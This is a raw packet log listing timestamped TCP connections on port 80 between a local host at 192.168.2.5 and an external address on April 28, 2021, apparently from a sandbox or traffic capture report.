Apr 28, 2021 23:24:22.045435905 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.045567036 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.045767069 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.045779943 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.046088934 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.046164036 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.046175003 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.046236992 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.046483994 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.046497107 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.046516895 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.046595097 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.046798944 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.046962976 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.046996117 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.047118902 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.047153950 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.047312975 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.047358036 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.050136089 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.050462008 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.136008024 CEST	80	50169	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.139612913 CEST	80	50169	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.139736891 CEST	50169	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.145854950 CEST	80	50167	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.145950079 CEST	50167	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.244874954 CEST	50169	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.246140957 CEST	50171	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.341247082 CEST	80	50171	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.341378927 CEST	50171	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.341841936 CEST	50171	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.352973938 CEST	80	50169	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.353173971 CEST	50169	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.436999083 CEST	80	50171	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.440939903 CEST	80	50171	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.441066027 CEST	50171	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.558013916 CEST	50171	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.559945107 CEST	50172	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.653072119 CEST	80	50171	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.653265953 CEST	50171	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.655536890 CEST	80	50172	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.655708075 CEST	50172	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.657120943 CEST	50172	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.753202915 CEST	80	50172	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.757309914 CEST	80	50172	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.757704020 CEST	50172	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.870490074 CEST	50172	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.872052908 CEST	50173	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.966198921 CEST	80	50172	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.966315031 CEST	50172	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.966973066 CEST	80	50173	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:22.967103958 CEST	50173	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:22.967881918 CEST	50173	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.062915087 CEST	80	50173	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:23.066353083 CEST	80	50173	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:23.066601992 CEST	50173	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.186464071 CEST	50173	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.187896013 CEST	50175	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.281022072 CEST	80	50175	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:23.281225920 CEST	50175	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.281327963 CEST	80	50173	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:23.281398058 CEST	50173	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.281933069 CEST	50175	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.375082016 CEST	80	50175	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:23.378652096 CEST	80	50175	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:23.378858089 CEST	50175	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.495680094 CEST	50175	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.498224974 CEST	50176	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.590188980 CEST	80	50175	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:23.590310097 CEST	50175	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.592156887 CEST	80	50176	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:23.592278957 CEST	50176	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.593039036 CEST	50176	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.686892033 CEST	80	50176	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:23.691019058 CEST	80	50176	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:23.691204071 CEST	50176	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.809922934 CEST	50176	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.812691927 CEST	50177	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.903625011 CEST	80	50176	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:23.903775930 CEST	50176	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.916517973 CEST	80	50177	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:23.916647911 CEST	50177	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:23.917249918 CEST	50177	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.022844076 CEST	80	50177	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.026918888 CEST	80	50177	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.027015924 CEST	50177	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.136410952 CEST	50177	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.138077974 CEST	50178	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.236022949 CEST	80	50178	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.236109018 CEST	50178	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.236907005 CEST	50178	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.240030050 CEST	80	50177	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.240102053 CEST	50177	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.336309910 CEST	80	50178	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.339669943 CEST	80	50178	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.339768887 CEST	50178	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.448244095 CEST	50178	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.449381113 CEST	50179	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.526321888 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.545425892 CEST	80	50179	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.545568943 CEST	50179	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.546037912 CEST	50179	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.547454119 CEST	80	50178	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.547585011 CEST	50178	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.622432947 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.622585058 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.622817039 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.641026020 CEST	80	50179	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.645665884 CEST	80	50179	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.646785021 CEST	50179	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.723591089 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.723758936 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.724612951 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.724662066 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.724695921 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.724699974 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.724730015 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.724733114 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.724756002 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.724771023 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.724795103 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.724811077 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.724839926 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.724848032 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.724872112 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.724883080 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.724899054 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.724917889 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.724940062 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.724982977 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.760610104 CEST	50179	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.761617899 CEST	50181	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.820138931 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.820175886 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.820471048 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.821624041 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.821733952 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.821753979 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.822501898 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.822534084 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.822559118 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.822659016 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.822680950 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.822685003 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.822712898 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.822778940 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.822837114 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.822865009 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.822963953 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.823002100 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.823024988 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.823045015 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.823067904 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.823149920 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.823190928 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.857574940 CEST	80	50179	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.857760906 CEST	50179	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.858911991 CEST	80	50181	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.859040022 CEST	50181	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.859611988 CEST	50181	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.918133974 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.918168068 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.918179035 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.918366909 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.918447018 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.919101000 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.919121981 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.919182062 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.920134068 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.920192003 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.920234919 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.920250893 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.920288086 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.920326948 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.920972109 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.920991898 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.921006918 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.921066999 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.921118975 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.921170950 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.921190977 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.921204090 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.921255112 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.921279907 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.921528101 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.921590090 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.921705008 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.921717882 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.921796083 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:24.922013044 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.955867052 CEST	80	50181	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.958333015 CEST	80	50181	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:24.958545923 CEST	50181	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.014178038 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.014199972 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.014214039 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.015088081 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.015134096 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.015866995 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.015902042 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.016243935 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.016273975 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.016298056 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.016771078 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.016876936 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.016902924 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.017143965 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.017189980 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.017201900 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.017441034 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.017606974 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.017699003 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.017713070 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.017720938 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.018059015 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.018070936 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.019803047 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.020855904 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.076726913 CEST	50181	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.078792095 CEST	50182	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.118271112 CEST	80	50180	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.118400097 CEST	50180	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.173343897 CEST	80	50181	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.173657894 CEST	50181	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.180311918 CEST	80	50182	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.180453062 CEST	50182	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.180984020 CEST	50182	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.278791904 CEST	80	50182	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.283015966 CEST	80	50182	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.283198118 CEST	50182	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.386729002 CEST	50182	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.393690109 CEST	50184	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.485220909 CEST	80	50182	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.485476971 CEST	50182	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.489542007 CEST	80	50184	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.489711046 CEST	50184	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.491099119 CEST	50184	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.586808920 CEST	80	50184	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.590836048 CEST	80	50184	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.595053911 CEST	50184	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.714370012 CEST	50184	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.715553999 CEST	50185	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.809134960 CEST	80	50185	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.809159994 CEST	80	50184	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.809326887 CEST	50184	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.810102940 CEST	50185	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.810125113 CEST	50185	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:25.903203011 CEST	80	50185	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.907146931 CEST	80	50185	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:25.907294989 CEST	50185	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.012595892 CEST	50185	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.015345097 CEST	50186	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.109489918 CEST	80	50185	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:26.109639883 CEST	50185	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.117628098 CEST	80	50186	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:26.117836952 CEST	50186	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.119851112 CEST	50186	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.220931053 CEST	80	50186	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:26.224401951 CEST	80	50186	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:26.224518061 CEST	50186	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.340137959 CEST	50186	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.343117952 CEST	50188	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.440216064 CEST	80	50188	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:26.440259933 CEST	80	50186	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:26.440422058 CEST	50188	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.440489054 CEST	50186	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.441437960 CEST	50188	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.540328979 CEST	80	50188	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:26.543956041 CEST	80	50188	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:26.544079065 CEST	50188	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.652009010 CEST	50188	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.653441906 CEST	50189	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.748914957 CEST	80	50189	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:26.748946905 CEST	80	50188	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:26.749094009 CEST	50189	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.749216080 CEST	50188	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.749716043 CEST	50189	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.845237970 CEST	80	50189	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:26.850229979 CEST	80	50189	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:26.850492001 CEST	50189	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.964443922 CEST	50189	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:26.965900898 CEST	50190	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.063241959 CEST	80	50189	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.063421011 CEST	50189	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.069111109 CEST	80	50190	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.069269896 CEST	50190	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.069842100 CEST	50190	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.171374083 CEST	80	50190	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.175493002 CEST	80	50190	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.175585985 CEST	50190	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.292087078 CEST	50190	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.293234110 CEST	50191	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.391382933 CEST	80	50191	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.391866922 CEST	50191	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.392381907 CEST	50191	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.393491030 CEST	80	50190	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.394913912 CEST	50190	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.489813089 CEST	80	50191	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.493139982 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.493304014 CEST	80	50191	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.493423939 CEST	50191	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.587182999 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.587429047 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.587680101 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.605370045 CEST	50191	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.606786013 CEST	50193	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.682239056 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.682265043 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.682418108 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.682454109 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.682528973 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.682586908 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.683036089 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.683126926 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.683149099 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.683199883 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.683732033 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.683804035 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.683839083 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.683958054 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.684032917 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.684094906 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.684238911 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.684298038 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.684382915 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.684441090 CEST	50192	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.700323105 CEST	80	50193	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.700548887 CEST	50193	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.701066971 CEST	50193	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.702764988 CEST	80	50191	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.702982903 CEST	50191	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:27.776361942 CEST	80	50192	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:27.776385069 CEST	80	50192	176.111.174.114	192.168.2.5
